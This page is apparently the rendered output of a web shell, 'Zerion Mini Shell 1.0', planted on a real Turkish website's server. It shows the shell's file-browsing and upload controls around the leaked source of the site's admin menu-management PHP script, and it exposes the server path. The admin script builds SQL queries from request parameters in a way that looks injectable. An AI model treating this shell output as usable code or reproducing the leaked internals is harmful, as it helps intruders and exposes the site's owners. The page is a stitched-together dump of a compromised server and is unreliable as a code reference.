%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/cargonizer/domains/cargonizer.com.tr/public_html/admin/
Upload File :
Create Path :
Current File : /home/cargonizer/domains/cargonizer.com.tr/public_html/admin/menus.php

<?php
    if(!defined('BASE')) die();

    $parent = (intval("0".$_GET['parent'])) ? $_GET['parent']:0;
    $mtype = (intval("0".$_GET['type'])) ? $_GET['type']:0;

    $action = clean($_REQUEST['action']);
    switch($action) {
        case 'save':

            $id = clean($_POST['id']);
            $f = clean($_POST['f']);
            $child = clean($_POST['children']);
            $link = clean($_POST['link']);
            if(!$f['row']) $f['row'] = 99;
            if(trim($link)) {
                if(is_numeric($link))
                    $f['links'] = '?s=page&id='.$link;
                else
                    $f['links'] = '?s='.$link;
            }
            if($id) :
                mquery("UPDATE menus SET links='{$f['links']}' WHERE id='{$id}'");
                insert2lang(LANG,'menus',$id,$f);
                echo message('Bilgiler başarı ile güncellenmiştir.','success');
                else : 
                $id = insertrecord(LANG,'menus',$f);
                echo message('Bilgiler başarı ile eklenmiştir.','success');
                endif;
            if(trim($link) && $child) {
                saveChild2Link($link,$id,$f['type']);
            }
            break;
    }

    if(isset($_POST['allaction'])) {
        $c = clean($_POST['c']);
        $st = clean($_POST['status']);
        if(is_array(array_filter($c))) :

            foreach($c as $ids) insert2lang(LANG,'menus',$ids,array('status'=>$st));
            echo message('Durum başarı ile güncellenmiştir','success');
            endif;
    }

    if(intval("0".$_GET['rem'])) {
        $ids = intval("0".$_GET['rem']);
        insert2lang(LANG,'menus',$_GET['rem'],array('status'=>2));
        echo message('Kayıt başarı ile silinmiştir','success');
    }


    $q[] = "status!='2'";
    $q[] = "parent='{$parent}'";
    $q[] = "type='{$mtype}'";

    $pagi->table = 'menus';
    $pagi->pg = $_GET['pg'];
    $pagi->link = '?s=menus'._GETFilter('pg').'&';
    $pagi->where = implode(' && ',$q);
    $pagi->perpage = PERPAGE;
    $pagi->startPage();

    $contents = getAllTables('menus',"WHERE ".implode(' && ',$q)." ORDER BY row ASC  LIMIT {$pagi->start}, {$pagi->perpage}",LANG);

?>
<div class="row">
    <div class="col-md-12">
        <h3 class="page-title">
            Menüler
        </h3>
        <ul class="page-breadcrumb breadcrumb">
            <li>
                <i class="fa fa-home"></i>
                <a href="index.php">
                    Anasayfa
                </a>
                <i class="fa fa-angle-right"></i>
            </li>
            <li>
                <a href="?s=menus&type=<?php echo $mtype; ?>">
                    Menüler
                </a>
                <i class="fa fa-angle-right"></i>
            </li>
        </ul>
    </div>
</div>
<div class="btn-toolbar margin-bottom-10">
    <?php if($parent): $prcont = getTable('menus',"WHERE id='$parent'"); ?><a class="btn purple" href="?s=menus&parent=<?php echo $prcont['parent']; ?>&type=<?php echo $mtype; ?>"><i class="fa fa-arrow-up"></i> Üst Menü</a><?php endif; ?>
    <a class="btn blue mdl" data-target="#ajaxcont" href="menu.php?parent=<?php echo $parent; ?>&type=<?php echo $mtype; ?>"><i class="fa fa-plus"></i> Yeni Ekle</a>
    <a class="btn yellow" href="?s=mrows&type=<?php echo $type; ?>&parent=<?php echo $parent; ?>"><i class="fa fa-sort-amount-asc"></i> Sırala ve Taşı</a>
</div>
<form method="post" action="?s=menus&type=<?php echo $mtype; ?>&parent=<?php echo $parent; ?>">
    <table class="table table-striped table-bordered table-hover table-full-width" id="data">
        <thead>
            <tr>
                <th class="col-md-1">
                    <input type="checkbox" data-set=".checkboxes" class="group-checkable">
                </th>
                <th class="col-md-4">
                    İsim
                </th> 
                <th class="col-md-2">
                    Link
                </th> 
                <th class="col-md-1">
                    Açılır mı?
                </th>
                <th class="col-md-1">
                    Alt Menüler
                </th>
                <th class="hidden-xs col-md-1">
                    Durumu
                </th>
                <th class="hidden-xs col-md-1">
                    Sıra
                </th>
                <th class="hidden-xs col-md-1">
                    İşlemler
                </th>
            </tr>
        </thead>
        <tbody>
        <?php
            if($contents):
                foreach($contents as $val) :
                ?>
                <tr>
                    <td><input type="checkbox" class="checkboxes" name="c[]" value="<?php echo $val['id']; ?>"></td>
                    <td><input class="editable-input" type="text" value="<?=$val['name'];?>" data-input="<?=$val['id']?>" readonly></td>
                    <td><?php echo ($val['links']) ? $val['links'] : 'Yok'; ?></td>
                    <td><?php echo ($val['opened']) ? '<span class="badge badge-primary">Evet</span>':'<span class="badge badge-danger">Hayır</span>'; ?></td>
                    <td><a href="?s=menus&parent=<?php echo $val['id']; ?>&type=<?php echo $mtype; ?>">Alt Menü <span class="badge badge-primary"><?php echo countRecord('menus',"WHERE parent='{$val['id']}' && status!=2"); ?></span></a></td>
                    <td><?php echo $status[$val['status']]; ?></td>
                    <td><?php echo $val['row']; ?></td>
                    <td>
                        <a class="btn default btn-xs purple mdl" data-target="#ajaxcont" href="menu.php?type=<?php echo $type; ?>&id=<?php echo $val['id']; ?>&parent=<?php echo $val['parent']; ?>"><i class="fa fa-edit"></i> Düzenle</a>
                        <a class="btn default btn-xs black" href="javascript:;" onclick="return deleteRow('Sayfayı Silmek istediğinizden emin misiniz?','?s=menus&type=<?php echo $mtype; ?>&parent=<?php echo $parent; ?>&rem=<?php echo $val['id']; ?>');"><i class="fa fa-trash-o"></i> Sil</a>
                    </td>
                </tr>
                <?php
                    endforeach;
                else:
            ?>
        </table>
        <div class="note note-warning">Üzgünüz, herhangi bir kayıt bulunamadı !</div>
        <?php
            endif;
    ?>
    </tbody>
    </table>
    <div class="row">
        <div class="col-md-2">

            <div class="input-group">
                <select class="form-control" name="status">
                    <option value="1">Aktif Et</option>
                    <option value="0">Pasif Et</option>
                    <option value="2">Sil</option>
                </select>
                <div class="input-group-btn">
                    <input type="submit" class="btn default" value="Tamam" name="allaction" />           
                </div>
            </div>
        </div>
        <div class="col-md-10 text-right">
            <?php echo $pagi->paginations(); ?>
        </div>
    </div>
</form>
<div aria-hidden="true" role="basic" id="ajaxcont" class="modal fade">
    <div class="modal-dialog">
        <div class="modal-content">
        </div>
    </div>
</div>

Zerion Mini Shell 1.0